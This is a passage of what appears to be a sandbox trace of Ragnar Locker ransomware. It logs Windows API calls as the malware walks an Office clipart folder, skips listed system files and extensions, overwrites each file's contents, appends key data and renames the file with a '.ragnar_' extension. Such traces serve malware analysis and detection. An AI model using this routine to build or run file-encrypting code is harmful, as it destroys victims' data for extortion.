(lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.407] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x816, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.407] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.407] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.407] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.408] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.408] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.408] GetProcessHeap () returned 0x580000 [0082.408] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.408] CloseHandle (hObject=0xf4) returned 1 [0082.408] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" [0082.408] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.ragnar_FD7BD9FC" [0082.408] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.408] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0082.408] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.408] lstrcpyW (in: lpString1=0x1eb62e, lpString2="GRDEN_01.MID" | out: lpString1="GRDEN_01.MID") returned="GRDEN_01.MID" [0082.408] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned=".MID" [0082.408] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="autorun.inf") returned 1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="boot.ini") returned 1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="bootfont.bin") returned 1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="bootsect.bak") returned 1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="bootmgr") returned 1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="bootmgr.efi") returned 1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="bootmgfw.efi") returned 1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="desktop.ini") returned 1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="iconcache.db") returned -1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="ntldr") returned -1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="ntuser.dat") returned -1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="ntuser.dat.log") returned -1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="ntuser.ini") returned -1 [0082.409] lstrcmpiW (lpString1="GRDEN_01.MID", lpString2="thumbs.db") returned -1 [0082.409] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0082.409] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0082.409] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0082.409] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0082.409] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0082.409] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0082.409] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0082.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0082.410] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.410] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7567) returned 1 [0082.410] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.410] GetProcessHeap () returned 0x580000 [0082.410] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.410] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.412] VirtualAlloc (lpAddress=0x0, dwSize=0x1d8f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.412] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.412] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.412] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d8f, lpOverlapped=0x0) returned 1 [0082.415] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.415] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d8f, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.415] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d8f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d8f, lpOverlapped=0x0) returned 1 [0082.415] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d8f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.415] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.416] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d8f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.416] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.416] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.416] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.416] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.416] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.416] GetProcessHeap () returned 0x580000 [0082.416] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.416] CloseHandle (hObject=0xf4) returned 1 [0082.416] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" [0082.416] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.ragnar_FD7BD9FC" [0082.416] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.417] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0082.417] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.417] lstrcpyW (in: lpString1=0x1eb62e, lpString2="GRID_01.MID" | out: lpString1="GRID_01.MID") returned="GRID_01.MID" [0082.417] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned=".MID" [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="autorun.inf") returned 1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="boot.ini") returned 1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="bootfont.bin") returned 1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="bootsect.bak") returned 1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="bootmgr") returned 1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="bootmgr.efi") returned 1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="bootmgfw.efi") returned 1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="desktop.ini") returned 1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="iconcache.db") returned -1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="ntldr") returned -1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="ntuser.dat") returned -1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="ntuser.dat.log") returned -1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="ntuser.ini") returned -1 [0082.417] lstrcmpiW (lpString1="GRID_01.MID", lpString2="thumbs.db") returned -1 [0082.417] lstrcmpiW (lpString1=".MID", lpString2=".db") returned 1 [0082.417] lstrcmpiW (lpString1=".MID", lpString2=".sys") returned -1 [0082.417] lstrcmpiW (lpString1=".MID", lpString2=".dll") returned 1 [0082.417] lstrcmpiW (lpString1=".MID", lpString2=".lnk") returned 1 [0082.417] lstrcmpiW (lpString1=".MID", lpString2=".msi") returned -1 [0082.417] lstrcmpiW (lpString1=".MID", lpString2=".drv") returned 1 [0082.418] lstrcmpiW (lpString1=".MID", lpString2=".exe") returned 1 [0082.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 0x20 [0082.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.419] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6331) returned 1 [0082.419] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.419] GetProcessHeap () returned 0x580000 [0082.419] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.419] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.420] VirtualAlloc (lpAddress=0x0, dwSize=0x18bb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.421] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x18bb, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x18bb, lpOverlapped=0x0) returned 1 [0082.421] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.422] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18bb, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.422] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x18bb, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x18bb, lpOverlapped=0x0) returned 1 [0082.422] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18bb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.422] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.422] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x18bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.422] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.422] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.422] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.422] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.422] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.422] GetProcessHeap () returned 0x580000 [0082.422] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.422] CloseHandle (hObject=0xf4) returned 1 [0082.423] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" [0082.423] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.ragnar_FD7BD9FC" [0082.423] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.423] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0082.423] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.423] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH00057_.WMF" | out: lpString1="HH00057_.WMF") returned="HH00057_.WMF" [0082.423] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned=".WMF" [0082.423] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.423] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="autorun.inf") returned 1 [0082.423] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="boot.ini") returned 1 [0082.423] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="bootfont.bin") returned 1 [0082.423] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="bootsect.bak") returned 1 [0082.423] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="bootmgr") returned 1 [0082.423] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="bootmgr.efi") returned 1 [0082.423] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.423] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="desktop.ini") returned 1 [0082.423] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="iconcache.db") returned -1 [0082.424] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="ntldr") returned -1 [0082.424] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="ntuser.dat") returned -1 [0082.424] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.424] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="ntuser.ini") returned -1 [0082.424] lstrcmpiW (lpString1="HH00057_.WMF", lpString2="thumbs.db") returned -1 [0082.424] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.424] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.424] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.424] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.424] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.424] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.424] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x20 [0082.425] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.425] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3764) returned 1 [0082.425] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xeab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.425] GetProcessHeap () returned 0x580000 [0082.425] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.425] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.426] VirtualAlloc (lpAddress=0x0, dwSize=0xeb4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.427] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xeb4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xeb4, lpOverlapped=0x0) returned 1 [0082.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.427] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xeb4, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.427] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xeb4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xeb4, lpOverlapped=0x0) returned 1 [0082.427] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeb4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.427] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.427] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.427] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.427] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.428] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, 